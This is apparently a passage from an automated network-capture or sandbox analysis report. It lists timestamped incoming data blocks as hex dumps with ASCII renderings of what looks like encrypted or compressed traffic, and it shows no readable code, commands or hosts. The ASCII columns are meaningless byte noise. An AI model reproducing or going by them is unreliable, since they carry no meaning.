2022-09-28 05:32:41 UTC 161 IN Data Raw: e7 18 c4 48 23 a2 9f 43 0a c2 3d ac 6f 6f 70 71 4c 28 75 f4 17 cc 81 8b 65 6c e5 37 34 fe 52 05 fb 6e fb f3 4a f5
c4 21 a1 04 2f ce a6 12 2b 7e 51 b7 d2 63 69 3c 08 4a 83 06 e4 49 a4 55 e0 4d 73 66 0f 76 38 12 ce 84 80 6b 6c d4 2c 
d2 ca 74 8d 4f 18 4a cb 5f 67 9e 69 01 1a 56 42 39 f1 3a e0 5a f4 1e b5 61 61 a4 e3 0a 03 5c 31 f2 ce ec 59 5a e5 f5 4d 
86 7b f1 1c 46 74 26 06 5d da df 62 fe 07 ac 37 01 cd 77 b7 c5 51 fb 39 60 cc b7 7e 1a 8c 30 2d a8 72 2c be e5 9f 05 c4 
43 86 03 b7 e0 b1 ec 34 55 d4 81 bf f4 34 32 7b 6c f3 3c 48 18 af d2 67 67 c5 17 5d cc 1f a5 5e 72 2f 2d 36 08 da 03 de 
08 30 86 b6 6e 27 1a a8 65 fd 31 06 a8 c2 b0 25 87 04 cb d0 b3 9d 12 0b 1a 4f 99 cd 38 c0 75 bc d8 f7 a8 93 3c de c1 fd 
66 5d df f7 49 0e d8 8c d6 4a 04 2e 0b ea 02 a9 94 05 
Data Ascii: H#C=oopqL(uel74RnJ!/+~Qci<JIUMsfv8kl,tOJ_giVB9:Zaa\1YZM{Ft&]b7wQ9`~0-r,C4U42{l<Hgg]^r/-6
0n'e1%O8u<f]IJ.

2022-09-28 05:32:41 UTC 161 IN Data Raw: 92 77 23 81 6a b3 b1 41 2b 12 b6 06 3d 82 cd 6e 2b d0 4c 4b 3b 66 da 61 75 59 3d cc cf 44 e4 36 98 28 8b 33 
5a 29 b6 8b 33 9f 10 7b b4 a4 91 18 e4 63 86 cf b1 21 9e 5d 4b a9 1a d7 b7 28 3f ff 75 26 2a a2 f7 17 71 d2 70 39 f6 6a 
86 b0 ad 46 9c cc e2 0d 7b 4c ee bd a7 49 a4 3d 9a f4 a8 0b bf 40 21 3c d1 03 55 5d 4c 0d c5 5e ff 23 93 e1 2e 39 69 2e 
da ab 10 1f 0e e7 6d bf 05 49 bb c0 9b 2b 4a 1f 37 6c 3e d1 4a 24 01 29 99 26 1b 39 fb c2 b0 f3 be 1d 63 db 8f e5 3a 06 
27 be ea 15 07 5c 27 ec 69 77 8e ce 6e 9c 5c 1c ec f2 8c 1e 90 a3 94 10 45 a3 fc f6 92 1a 93 13 8a 2f b2 20 f2 ce 7b bd 
b3 67 03 22 48 c3 18 50 51 a1 17 9e cc 60 c4 0a 82 d1 01 ea a9 24 22 9d b0 d8 55 d8 f8 ad b6 9b 78 e2 3a ff a3 d8 f0 e5 
44 7d 99 de 54 9d 06 c5 20 cf 92 13 77 53 d0 38 60 4a 6e 
Data Ascii: w#jA+=n+LK;fauY=D6(3Z)3{c!]K(?u&*qp9jF{LI=@!<U]L^#.9i.mI+J7l>J$)&9c:'\'iwn\E/ {g"HPQ`$"Ux:D}T wS8`Jn
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2022-09-28 05:32:41 UTC 163 IN Data Raw: a9 7d da c7 34 b9 9e 34 12 7d ae a3 90 a4 9a 28 bf 7b 3a c2 5d 31 0d 08 22 be cc ee 43 5a 4f a5 0a 24 da 1a 
c3 03 67 12 a1 bb 3d 7d 16 bb 00 fc 19 0b 6d 3d 14 a2 fc b1 28 e8 7d 8d df 50 f1 e1 2b 89 97 6b 1b af 0c 8d ef 9b cf 09 
94 b3 e2 54 23 69 4e 65 c4 19 3a 40 6f 29 fa 6c 56 78 cf 43 05 cc 37 a0 b0 6c c2 ad 0d 3d ba 2b 12 11 7c 40 f7 16 77 d2 
6d 53 58 83 26 ba 3c 54 a5 79 26 82 d7 7b 2f fc 0e dd 86 72 30 d8 9c 8b 1c b7 d7 5b 83 ac f6 d4 03 36 07 8a a1 5f 46 65 
94 b6 4e 85 95 99 fd f5 82 13 06 5b e9 7b 88 a0 17 c2 1c 91 a4 78 5f 7e 03 06 9c ec d7 a6 b8 b2 e5 79 a2 19 ed 2a 6c 04 
3e a0 db 86 5f e5 f5 22 65 38 5b 1e 69 c5 76 8e 5b 1a 50 eb 46 d4 d4 de 0e b3 bc d8 73 dd 26 31 13 f1 8c a5 59 56 c3 33 
be e9 23 2f 39 ac f4 74 8f 94 4a ba f9 2b 95 b0 f9 5b 25 
Data Ascii: }44}({:]1"CZO$g=}m=(}P+kT#iNe:@o)lVxC7l=+|@wmSX&<Ty&{/r0[6_FeN[{x_~y*l>_"e8[iv[PFs&1YV3#/9tJ+[%

2022-09-28 05:32:41 UTC 164 IN Data Raw: d0 d0 29 ff 04 9e 83 f4 26 ae d3 2b 95 69 59 24 b0 62 64 da 25 bd 10 c0 cb cc 19 f8 a9 15 bc 85 a8 ff 4f 68 a8 
39 b3 dc 9b 3f 2b 2e b1 7b ec cc fa cc 63 2a 65 77 c6 9e 84 fe 44 03 4c b5 ca 5a 2e 8c 8e 53 b7 30 df 48 bf 0e 29 67 ec 
b5 0b f7 d9 d6 d3 8d 90 82 42 62 82 e0 ba e1 80 95 d4 f5 7c 0a 01 0d 68 81 fd 9a cb de d8 54 a6 dc d3 e5 65 14 fb 4f ef 
4a cc 07 ab 57 4c e1 ab 9a 8c 7c cc 4d c9 0d 3e 13 1c 25 3e b9 d4 89 cc 81 32 11 c2 d7 95 d5 a9 28 a6 8b 3e 3b ff 1a 7a 
1c eb 9f a9 34 42 27 3e 70 77 ed a5 73 27 bd 4a d6 5a 6b 9f 65 e2 8b 2d 49 c7 86 fc 2a 78 a4 9f 2d 47 aa a5 c3 7c 5d 94 
15 d9 a7 f9 77 ee de dd b0 7e a9 db 07 a5 d6 23 de 69 bd a9 a3 3e ca 29 0a 24 c3 c2 3b 35 85 df 02 4e fb 9c 90 9e 00 c3 
af 82 03 bf 2a 2b 4c 51 90 27 c5 98 99 d8 30 42 6f 40 
Data Ascii: )&+iY$bd%Oh9?+.{c*ewDLZ.S0H)gBb|hTeOJWL|M>%>2(>;z4B'>pws'JZke-I*x-G|]w~#i>)$;5N*+LQ'0Bo@

2022-09-28 05:32:41 UTC 165 IN Data Raw: 4e 52 25 4d 75 b4 37 a8 bd 0e 88 21 a4 a4 30 ed 28 55 75 9b 9d ad af 6d b2 d9 61 35 11 ba 07 3f b2 a9 69 52 
07 09 c7 0a 34 cf 7c 43 bb b8 a9 45 95 10 da 01 73 87 fa f0 42 40 2e df b0 29 ed 08 88 c3 1d 0b 26 52 7f a2 8b 4e b7 16 
6d 42 d7 8d 25 3a 3e a8 98 7a a8 02 4d 56 bc 26 f8 6d c1 92 41 d0 91 be 02 1f b5 a6 25 b6 c2 d1 74 49 15 ee ef de 29 9d 
ec 25 88 a1 de 6e a8 3d fa 18 b5 9d 12 f9 aa ef dd 50 6e de 0c a8 15 19 da 7b b4 71 65 8b 4f ac 6a 37 cc 8a 84 50 84 4a 
c4 92 3d 1d da 3a 88 39 55 75 4b 5d f2 76 0b 5f 0d fd 5e 3b 22 1a 89 9a 94 03 c7 bf eb 3b 4d cd 5c a1 3b 7b 5c 83 cb fa 
82 56 7c 3c ca d4 92 bc bd cb 41 ca 83 86 f2 3e 67 fa 6f 8f 7f b1 11 4a 24 a3 c8 2b 46 1e 38 de 0b 57 4f 45 40 2b d2 cb f5 
67 75 ee 64 ed 56 b0 b3 98 e1 8f f9 9d ee 22 11 0f 43 
Data Ascii: NR%Mu7!0(Uuma5?iR4|CEsB@.)&RNmB%:>zMV&mA%tI)%n=Pn{qeOj7PJ=:9UuK]v_^;";M\;{\V|<
A>goJ$+F8WOE@+gudV"C

2022-09-28 05:32:41 UTC 167 IN Data Raw: 2a fa d8 4a c2 c0 9d 01 cc 6e fe f1 91 a4 4a 53 3a ed f8 9a 75 3a 24 39 f8 09 b4 39 cd 2c 8f a5 d6 94 97 65 d7 
f0 9a 32 cb c4 c1 90 c6 69 00 7c 6e 4b 29 b1 39 39 3e 6f 5e 2f 0a b3 5e 73 6e 80 58 f5 14 98 c5 ea d3 f1 7d 75 25 02 bf 
4e 60 0d 50 88 7c 61 c7 b4 81 ea 51 61 6e a7 81 07 25 4e 98 f5 d4 65 ab 22 44 cd b7 4e 36 a8 d3 8a 4b 3d aa ea 43 a3 
3f a1 d4 d9 98 a7 f5 2a 1b 7a 39 fb c9 24 5b 6f 8e fd 8b 6f 49 2b b7 b5 e9 31 e2 13 d3 4e ca 23 9a 5c f3 0b 01 21 7a 04 
0c ea f9 0b 75 25 fb b3 0e a5 b1 e4 7b cd 77 2f cf 1a 73 1c c3 b0 a3 dd 95 7b f6 64 74 d3 6f 0f 74 84 8d f3 06 69 45 74 24 
e8 6b 04 12 3a b0 a8 bb f2 43 7c ed 08 2a d2 ec df bf 12 45 df 4d 96 d7 96 0f dc 23 77 d3 91 e8 1a 88 e9 0d 4b 06 02 ae 
96 73 a5 6c a7 fa d1 e4 48 ba 1c d5 51 31 ff 75 ba 12 
Data Ascii: *JnJS:u:$99,e2i|nK)99>o^/^snX}u%N`P|aQan%Ne"DN6K=C?*z9$[ooI+1N#\!zu%{w/s{dtotiEt$k:C|*EM
#wKslHQ1u

2022-09-28 05:32:41 UTC 168 IN Data Raw: a8 4f 26 50 24 10 4c a1 9f fc 6d a2 d1 c2 d0 cc dd 11 95 74 7b 24 90 84 f2 ae 9e 98 3a c7 65 d8 1f f6 95 1c 89 
2b 4b 70 a2 f6 44 de d2 d0 0b cf 48 77 58 57 63 fa 82 36 2a f5 9d 72 ff 3a d5 1a 48 bc 59 84 ad e4 b9 4e b8 8a b4 7c f3 
ec 1a 64 8f 06 b4 53 a2 84 7b 38 4a 84 3c 3f e0 f7 7c 4b bd cd ce 7a 1c 17 ed 66 8b 2f 2e d8 48 7f b7 20 20 56 53 ff b0 
2e 79 99 ed 8c 62 74 ea 7a 08 20 ed e7 25 5d 0b ef 8f 75 7e b7 c6 3d a1 b9 1d 30 51 06 2c 3e a3 ce a6 e8 1c 86 f9 33 d8 
01 93 62 6a c1 bd 31 5c 6c a0 5a 42 47 5e 32 b2 6a fe f9 a3 d5 87 20 76 7c f3 4a 0a f3 e3 cd 98 05 64 b6 86 27 70 83 eb 
64 b3 77 ce f5 62 b0 62 9b 8b 05 f4 0c c1 b9 8a c1 f5 a5 a1 11 85 dc e3 23 3d aa 52 2b 0d 61 9d 56 b7 01 f0 9a 97 bc 32 
03 ae 6a a6 28 e3 58 c4 1d c7 2d 9b 2a 4a e0 c6 bf 08 
Data Ascii: O&P$Lmt{$:e+KpDHwXWc6*r:HYN|dS{8J<?|Kzf/.H  VS.ybtz %]u~=0Q,>3bj1\lZBG^2j v|Jd'pdwbb#=R+aV2j(X-
*J

2022-09-28 05:32:41 UTC 169 IN Data Raw: e7 e0 f3 95 54 68 45 5f 47 74 0b 9d 47 62 7a e6 38 3b 11 77 ec ba a2 09 fa 43 56 95 51 ab 4a 7a dc c6 0b fc 
58 fd 64 cf 0b d7 a9 00 b6 6b 30 15 5e b0 2c 47 04 be 30 e4 4d b6 3a 8a 15 3b ff 88 51 73 3c 17 50 a5 64 a8 83 d6 ed c4 
40 ae 87 af 9e 68 87 5b 79 a1 bb 44 aa 7d bd ed 80 d3 bf 05 02 5e 7a b3 a7 22 e9 c7 3c dd 63 a2 3e be c5 bd 38 77 59 
d0 aa 41 7f a4 fe ca 7f 33 49 d5 ba 7b 16 0c 94 8d 86 bd fa e4 e6 31 da 87 5e 5a 96 c9 57 27 29 64 c1 16 56 0c bc 0a 89 
7f c4 5b da 76 97 94 97 0f d7 0c 21 2f ba 01 7d 12 29 7a d6 21 12 a0 a0 0a a9 ac 64 65 e4 cc 31 e7 bb 53 4f 0a 39 44 67 
d2 60 41 cb 2b b8 a2 a9 d0 9f 3b 84 66 22 49 09 fe 6d ba 14 87 cf a2 9f 6c 91 07 d8 f7 dd c3 ed 23 39 94 1b 4e 3f bc 45 
45 1a 9e b6 cf 0d 19 18 02 1f 8b 5d 4e 69 1c 0f c3 9f f9 ea 
Data Ascii: ThE_GtGbz8;wCVQJzXdk0^,G0M:;Qs<Pd@h[yD}^z"<c>8wYA3I{1^ZW')dV[v!/})z!de1SO9Dg`A+;f"Iml#9N?
EE]Ni

2022-09-28 05:32:41 UTC 170 IN Data Raw: 31 6b 14 43 e7 8a 8c 88 6a 7f ba 2e 21 22 c1 f6 b9 c2 66 99 1b ff d2 7b 3a de 4e 3c 57 b4 75 bc a3 a6 63 07 
0e b0 78 01 ce 9f 5f d0 e2 e6 6e 97 65 a4 dc d3 95 14 08 ed 04 c4 bf 1c 03 17 64 52 a7 06 4e 1c 91 63 ec 94 3c 26 eb 11 
68 8a f8 2a f3 2d ef 77 75 a9 35 21 45 d5 b3 69 99 c2 98 51 aa 9f 80 c7 a4 50 95 ea fe c3 4b f0 c0 9d 4a 24 79 b5 cc ed 
6d 32 a4 e2 72 d8 bc 50 32 f1 bf 6b 7f 23 3c 9d 2b 83 f5 49 1c 3f 7f 27 cf eb 9a 8c 0a 2d bf 88 e5 28 0d a8 09 ca 0c 33 e0 
18 57 2e af 32 e2 de a4 1b 0c 71 12 4e ce 25 e7 9e f5 70 65 e2 50 4c 36 f7 6e 3c f5 8a a4 02 98 99 d9 8a c0 8e e6 09 4a 
6f 34 41 1a 71 35 23 de 23 b3 63 8f c6 bc b1 4d e7 21 bb 62 fd fa fd 2f 65 0a 2f f7 da fd 1c 8d 81 98 fd 04 21 1a 15 8f 43 
c9 79 e1 bf 64 1a 8d e8 5b 02 be 89 1e aa 30 83 88 
Data Ascii: 1kCj.!"f{:N<Wucx_nedRNc<&h*-wu5!EiQPKJ$ym2rP2k#<+I?'-(3W.2qN%pePL6n<Jo4Aq5##cM!b/e/!Cyd[0

2022-09-28 05:32:41 UTC 172 IN Data Raw: 56 cd d0 31 b2 05 33 e0 ee 6f 83 b2 50 18 02 c7 a8 c5 f6 05 68 e3 9e 5e db a8 60 bb 0d be 2c fe f5 70 0c 59 
89 be 95 0e 5e c2 ae ca dd e6 6f 42 07 2e 7b d3 1d cb 57 d1 a5 12 e1 ad f8 1e 22 80 b1 c8 77 06 5e ce 51 90 50 31 ed 
14 ff 5d ca 5d 19 b0 07 37 6a 8d 90 37 63 e4 65 bb 29 b8 da 1c 29 9b 37 c9 dc 4b 37 1c 20 ed bd a3 4a e1 ab 29 a0 a2 
07 17 93 53 0b c8 ac c1 77 3f a9 f8 5b 40 c1 ee 1c 52 50 98 0d 22 e5 04 1e f1 01 0e 8c f8 b9 9e 26 87 01 9d 3b 23 ea c4 
68 34 82 24 0d 9e 8b ca 92 45 88 ad c8 a0 48 e1 56 84 c3 7e 53 c0 2f 3f e4 08 cc 2d 99 dd 41 71 2d b6 ea 73 00 85 49 47 
ab c8 5c 61 de 54 27 92 b3 6e 92 25 57 6a 33 4c 85 5f 87 4b 75 f8 38 24 0c cc da e0 e1 e7 ba 3f 9f 04 88 60 07 46 1f 64 
b3 ad a7 68 e9 94 9c 67 17 c4 c2 c6 ce 38 71 0a 33 ed 7c 41 d3 
Data Ascii: V13oPh^`,pY^oB.{W"w^QP1]]7j7ce))7K7 J)Sw?[@RP"&;#h4$EHV~S/?-Aq-sIG\aT'n%Wj3L_Ku8$?`Fdhg8q3|A

2022-09-28 05:32:41 UTC 173 IN Data Raw: ba 47 36 1e 8f 0f c1 b1 a4 a1 c9 27 70 52 8e 99 56 b6 0f c0 8b 9e 58 97 73 d0 ac 43 92 5d 80 38 83 0d 56 ec 
72 d1 48 f9 a0 5b d2 81 f7 2a ad 0b 50 ab c0 c1 9f 2f 4f 66 92 d5 7a 4d a3 c1 fc a3 4d 1a 3a 03 73 91 8a f4 7c 1e 9e 8d bf 
12 c2 e8 0e 9a 1f 96 24 b1 b8 5e 4d 95 11 8e c0 61 6c 67 93 c4 dd 52 e5 d1 5e 47 79 30 04 d2 98 b0 94 52 21 72 da 24 
72 ae 3d f5 b5 f4 62 1e a1 92 dc 98 74 94 e1 4f a8 23 66 e3 af dd 25 09 c3 9e df c1 94 d4 24 9d e2 93 59 c6 47 f4 5d a0 
6c 2a 29 6d cf 2a b0 ee eb ec 18 70 0e 33 8e 9b 2b a8 39 eb 69 a3 79 32 11 fe 9a 99 92 c3 a9 60 c6 8d 68 aa 19 07 d3 
35 cb a1 f4 5f b3 89 0a 25 b1 19 63 34 ac 51 ef e5 ea 1b 3f 0a cf 02 b0 d6 01 a0 98 63 5b 56 49 f1 ad 09 1d 3d 4e 60 79 
b1 8a f4 b4 50 a5 f2 d7 ea 01 96 e3 cb f5 c9 fa e0 ce 8d eb 
Data Ascii: G6'pRVXsC]8VrH[*P/OfzMM:s|$^MalgR^Gy0R!r$r=btO#f%$YG]l*)m*p3+9iy2`h5_%c4Q?c[VI=N`yP

Timestamp
kBytes
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2022-09-28 05:32:41 UTC 174 IN Data Raw: 91 73 f8 74 fd 18 d1 aa 19 e0 2c b5 a2 65 04 06 b4 cd 99 9f c9 80 c5 3b 09 39 5d 6e e0 5a e3 20 2f b1 91 9f 2c 
6b 0d f1 8e 1c a3 ac 80 48 53 99 96 da 40 63 58 db 57 b7 d1 2d 14 e4 9d dc 0b 5e 81 b6 16 09 03 cc ce c9 c2 e0 3d 81 
20 de 71 b8 9e 19 ff da e4 ea 3b b9 62 f5 a5 ab 4f 1d 90 37 b0 0f 0a 11 6d a5 29 3c ef 91 31 32 c5 6c b2 c8 b7 39 6f 4c 6a 
72 29 60 8f e0 b2 61 93 33 6c 89 98 3b 75 a9 a6 fd 79 31 45 1c fd 2d 01 6a 6c 96 0d d9 18 1b 7d d6 75 01 bf b2 56 45 3f 
67 7a 37 f1 9d 57 33 9d b6 a9 74 3b 8a 5b d0 aa 4b 56 2a 53 4e 6c ae a4 b3 8b b4 82 30 01 12 5b 12 bb 00 16 01 2c ab 
ce eb b6 de 7a 6a 84 1c 97 26 c4 f4 ed 59 21 65 98 95 60 77 72 6e 53 53 fc 58 48 c9 2f d3 2e d8 05 57 85 48 ad 0b 92 fa 
4c 6b 44 bb 6b e2 14 d2 91 09 81 f0 83 32 c2 2b c8 3f 13 
Data Ascii: st,e;9]nZ /,kHS@cXW-^= q;bO7m)<12l9oLjr)`a3l;uy1E-jl}uVE?gz7W3t;[KV*SNl0[,zj&Y!e`wrnSSXH/.WHLkDk2+
?

2022-09-28 05:32:41 UTC 175 IN Data Raw: 1d 30 0e 9d 58 d8 3a 2a 28 f7 4a b8 4a 70 3d 93 a1 7e 54 ab 30 28 d3 07 03 ec 22 22 8a 1a 0b 5f 45 53 73 9c 
23 03 1f f4 84 38 8a d7 37 fc a4 22 6c 2f 3b a3 a8 81 c6 64 0e 49 6d c5 95 fe ec bd 1f ec 34 87 4b 12 e0 cf 72 68 2e 75 71 
ba 00 a2 1b db 66 85 9c e9 80 0c 76 68 7c 9c 82 27 4e 8b c9 ac 77 dc af 81 28 36 98 05 51 f2 91 76 db 1e 9c cc c8 0c b7 
b9 06 7c 93 a9 8d 8e 2b 90 09 bf 15 d2 84 f9 c3 50 59 74 8b 62 aa c3 0f 74 84 7e ae 05 76 ee 94 c8 a6 0e c3 51 7c 56 00 
12 07 de 17 cb 3a b5 cd e0 10 ee e5 cc 9d 14 c6 e5 48 99 8e 08 54 00 f0 db 2b 13 59 95 5a 65 e1 30 5e 55 66 ca f4 a9 
6d 2f e4 0f 45 c3 35 78 b8 23 3a d0 d8 71 62 9f 61 25 7f 07 26 f2 bf c8 6d 00 0e af 4c a5 75 b1 9e 11 be 78 3d c2 48 a3 a8
1b 51 58 c4 38 93 12 08 b3 ae 76 e0 13 96 fd 6f c2 f1 
Data Ascii: 0X:*(JJp=~T0(""_ESs#87"l/;dIm4Krh.uqfvh|'Nw(6Qv|+PYtbt~vQ|V:HT+YZe0^Ufm/E5x#:qba%&mLux=HQX8vo

2022-09-28 05:32:41 UTC 177 IN Data Raw: 3e 18 9b 38 6a 23 06 70 11 5f a2 16 e4 48 ab 88 0f 1e 8f a8 96 37 22 9b 2e b6 77 e1 c3 22 cb 77 5a b7 0d 1a 
cd 48 2a da 0e 2e 1d 5d 68 13 90 03 e7 aa 66 c4 fc d8 57 32 21 52 08 26 7e ed ae 9f 63 71 f8 59 f7 f6 c5 d5 00 29 50 bb 
e2 c7 0d 09 21 ea 68 5a 95 11 ac fb ca e8 72 db 30 50 d2 a6 5a ac 5b 4b d3 0e 0d 4f 2f 01 54 08 a3 fd ae fc 3a 46 e5 4e 
80 97 2a 5d 6d 30 96 15 e4 c1 27 d0 10 bd d8 39 28 10 e0 82 e3 f9 0e 11 ad 4d e0 8e ae 43 3e b0 9c 97 e2 30 fe 8e 3e 
3d e2 0e 0b 01 4d 18 8a e9 29 3e 18 69 cb 47 cc 2c 00 b9 30 3e 5f ae 45 c5 08 5c d1 12 0b 40 25 ac 86 2a ad 3b b1 90 
aa 50 00 93 e4 28 4a 53 e1 63 0d 90 3d 46 4d e7 6a dd e4 c1 0f 0a d6 0e aa 4a 3f 79 48 fd d6 94 2a 18 3e c3 0c a3 ee 74 
fc b8 47 96 37 5b 75 b6 40 bc 94 99 b4 4e 41 1d d5 3f 5d 57 1d 
Data Ascii: >8j#p_H7".w"wZH*.]hfW2!R&~cqY)P!hZr0PZ[KO/T:FN*]m0'9(MC>0>=M)>iG,0>_E\@%*;P(JSc=FMjJ?yH*
>tG7[u@NA?]W

2022-09-28 05:32:41 UTC 177 IN Data Raw: 92 d5 a9 83 a4 21 cb 45 c0 5b 53 dd 56 85 98 a0 e2 80 28 aa 44 47 13 ee 68 63 a5 aa f2 f0 13 b0 b0 10 ed f8 
6b f8 e7 79 03 7e 02 04 e6 ec 84 ff 93 9e 86 c6 e2 ab e5 da 12 46 e8 6a 36 1f 87 b8 54 a4 f2 47 6c c1 dd 8c 5d 1f ab 0e 
4a e2 a5 1a 2c 50 d9 c8 56 09 c8 20 d3 69 18 3b a8 81 2b 93 d0 6d 92 dd c7 44 42 6b a0 8b c2 b9 2b 6d 24 b9 7a 3e 05 
d9 16 56 a2 0d 93 14 56 18 8e 81 e3 8c f9 3b e3 f3 3e 5c 62 0d 8f ed f2 f2 0e 75 5f f1 79 1d 0a d8 1f 4f b3 90 d0 82 b1 80 
28 c7 2c 93 ee e6 8a 75 7d b0 f9 9f 69 b4 aa 65 e0 64 b6 1e d4 d4 d9 ec 65 8c 98 71 d3 d3 39 93 36 1b e3 1c d1 0d fa 6e 
c3 6d 64 75 99 82 13 a6 84 dd 2d 7b 40 a9 04 e6 9b 8e 62 09 68 ad e4 fe 83 23 b7 54 6e d6 00 b5 6f b2 c6 96 68 cf ae 
a4 9d 45 2f 25 a0 d3 a3 8f 02 49 d6 71 98 04 d9 17 2a 0e dc 
Data Ascii: !E[SV(DGhcky~Fj6TGl]J,PV i;+mDBk+m$z>VV;>\bu_yO(,u}iedeq96nmdu-{@bh#TnohE/%Iq*

2022-09-28 05:32:41 UTC 179 IN Data Raw: d7 cc e2 bd 01 40 22 70 9f 69 62 fe 7f 90 6c b0 08 81 9c 0c aa 6c 7c 0f de 3c 9f 86 e2 85 b0 4c d1 65 5f 1f a3 
df 64 7b 62 5a 99 92 d5 59 8c 92 91 e8 b0 15 84 78 6d de 83 eb d2 bb 5a cb 5d 0e 61 03 d3 1f e2 c6 01 50 8a e2 1d 44 
6b 1c 73 25 8e 0c 63 04 4c 85 37 f2 b0 44 93 ba 10 02 7a 70 dc da 57 bc 7e 8d 6d 8a 97 39 da 02 e1 29 76 20 a6 5e fd 21 
d2 08 34 46 3f 7c 02 22 ad 26 9c 90 e5 99 8b 8b b6 e5 ed 17 69 2b d2 c2 42 18 69 18 59 5a c6 7c 96 91 75 7f 4b d1 81 
52 ad 38 59 b1 dd 29 1f 2d b4 94 63 6c 03 a6 aa 44 bf 9d 13 b1 cd 54 e0 2b f3 9e da e5 42 9a d4 c3 d3 92 7f 73 5f 4d 21 
d2 8e d8 9d 90 c2 64 2c e4 24 7b ba 7b 2b 6d 6f ef 58 1e 4f ba e5 cf 17 8f c7 10 b4 73 4e cb 16 4f 6e 72 6f fe bc 4c 07 e5 
c8 17 3d d7 5c cd 86 01 a6 18 e7 e6 a0 70 59 33 52 b7 28 
Data Ascii: @"pibll|<Le_d{bZYxmZ]aPDks%cL7DzpW~m9)v ^!4F?|"&i+BiYZ|uKR8Y)-clDT+Bs_M!d,${{+moXOsNOnro
L=\pY3R(

2022-09-28 05:32:41 UTC 180 IN Data Raw: 09 dd f5 a1 47 dd fe 85 9f e7 09 52 28 5d 3c 4e ac d5 03 c9 9a 2e f8 bf 78 6f cc 91 96 79 2f 01 43 5e 40 03 9f 
e2 5b c4 2b dc e8 12 43 e9 cf e7 27 1a d4 0c 2f 3a 9b a2 c1 96 8e 70 2b 7c f1 c0 b9 83 25 8a 56 cd d9 0c 14 44 08 0e d4 
c8 20 0e 02 87 57 32 43 70 0a 74 1d e8 8c 27 51 0e 63 51 10 d1 f7 8c cb fe a4 2c de bf 77 89 d7 b0 33 e0 4c ca 08 1d 27 
b0 58 38 88 62 fa 40 ff 37 a1 76 d4 b4 26 45 87 28 00 d3 3a 32 9f 4a 31 31 3a e9 9e 44 44 20 5d cc f9 90 42 57 c4 41 ed 
d1 0a 5e 6b f7 41 7d 24 76 53 70 47 7e 57 17 34 56 79 ac da a9 df a6 89 75 73 b9 33 38 cf d7 fa 6d 96 ac 61 f3 b4 a3 9b 
28 f8 2c 25 0c 04 af 6a 09 ef 6a e8 ce 38 c0 47 4e 66 f1 96 41 73 07 c4 61 51 2e 14 16 b9 a5 56 f3 27 19 a6 90 c6 73 2e 
c7 1c 7c b3 06 88 6b 24 f6 2f 2e 45 1d c6 1a fd ae 3d 
Data Ascii: GR(]<N.xoy/C^@[+C'/:p+|%VD W2Cpt'QcQ,w3L'X8b@7v&E(:2J11:DD ]BWA^kA}$vSpG~W4Vyus38ma(,%jj
8GNfAsaQ.V's.|k$/.E=

2022-09-28 05:32:41 UTC 181 IN Data Raw: f6 de 0f 09 26 7a 5a 10 8c 04 01 09 4d e9 aa 26 df 66 d9 e5 43 1b 2a e9 6a b6 13 4a 55 57 39 95 b7 42 c1 52 
d9 5d a8 71 90 94 27 e7 e0 a7 8e 1b de 8f f8 f3 2f 0b b8 26 76 20 7e fa 70 2c be c6 2f ec 97 65 ff 51 d3 b7 d5 63 db 8e 51 
7b 4d 6d 84 b5 8a 3f ed 5b e3 e8 eb 9d 64 23 03 b9 fd d0 2d b5 ca 94 6f 54 38 36 ca dd eb f5 9f 47 14 c6 d7 e1 0d b2 78 
4c 28 bd 79 51 7f b6 3f 73 9e 52 d1 47 e8 ff d6 8c fd 6c fa 30 e8 2d ed 36 7f db d5 c1 74 28 65 d0 d5 cb cb ca f5 b8 d5 91 
45 81 2a ab e9 31 2f 29 2c e8 4f c4 e3 cd bd a0 bd bb 64 1a 59 c7 59 23 48 01 9b 38 e1 cb 26 a1 10 9b 6d db ff 9f f2 1e 
ec f3 85 d9 44 94 9d 0f 5e 16 ce 84 a8 44 d4 1d ba 13 ee df 90 a7 81 89 d0 07 53 1b 7e ed 74 eb 8e 3c c5 29 07 84 64 51 
3c 6b c3 af fc 6a 33 ca cc 76 b0 25 7a 3f ab be 3d 
Data Ascii: &zZM&fC*jJUW9BR]q'/&v ~p,/eQcQ{Mm?[d#-oT86GxL(yQ?sRGl0-6t(eE*1/),OdYY#H8&mD^DS~t<)dQ<kj3
v%z?=

2022-09-28 05:32:41 UTC 183 IN Data Raw: 53 9b bd 67 bf 7a 76 34 3a 78 ef fc b3 5a 60 cf c7 44 91 11 83 9a 34 d7 ec b8 28 13 10 2f 44 4f a4 6e 20 23 d5 
bc 4d e6 47 bd 41 47 be e9 61 27 bc 0f 43 42 95 92 5d 2d 0c 8d 2d 90 87 91 30 fe 5e ad cd 79 07 ea c7 de c5 9e f4 fa 3a 
c5 13 95 dc 11 06 59 92 01 bf 53 ad c8 f0 0d 84 b1 f6 af c5 ef ad 8a ae cf 8d 8a 41 79 73 b1 87 99 6d 86 b4 9f cf b6 83 eb 
89 99 69 e7 20 f4 f0 81 b2 24 ad a6 cb 91 73 9f 27 7f 54 ee fb 6d e4 91 ad 19 5e 0b 7e 45 db 96 57 6b 08 99 6f 78 d8 7f 
05 78 ef 27 3d e8 f9 f8 62 61 a5 a3 5b ec e7 34 b6 d5 65 23 19 5e ad 66 04 d1 87 94 c0 05 4e ad 36 5b 4b c4 8e 0c ac 98 
29 36 fb f7 58 f7 21 0a 03 65 a8 3f ba e8 99 6b 91 55 6b 63 57 09 d8 b4 59 a9 9d 7f de 79 e5 f3 10 89 04 3a f0 6c b6 95 
74 cf 6c 87 ed 4f 20 b0 27 31 f8 d9 e9 1f 48 a0 07 
Data Ascii: Sgzv4:xZ`D4(/DOn #MGAGa'CB]--0^y:YSAysmi $s'Tm^~EWkoxx'=ba[4e#^fN6[K)6X!e?kUkcWYy:ltlO '1H

2022-09-28 05:32:41 UTC 184 IN Data Raw: 5d 10 fb eb 9c 3e a7 e8 9f ad fd 31 40 e7 86 5b 53 7b 30 01 fa 97 06 98 65 09 bc 1c bd da 6d 1a ae 11 27 4b 
57 0c 23 7b 16 c2 ee f1 80 d2 71 0a 40 48 f3 53 19 99 48 82 59 d9 d2 a2 a1 3b 33 99 3e d9 25 01 3e 03 8b 1b e5 f0 15 c2 
41 a1 e7 47 57 34 49 b0 4d 77 a2 a5 b2 3b 0d 5e d3 53 d6 f0 7f 43 4f 86 20 69 f3 34 6b f9 c3 1c 62 26 9c ea 7c 98 fb 88 
64 13 3b 9d 40 1d 61 3c a1 ab d6 d1 38 a8 7f 3d 27 87 09 08 d5 93 f1 00 dc ff b9 7b 15 29 a6 e0 f3 56 73 bd 45 9e a0 92 
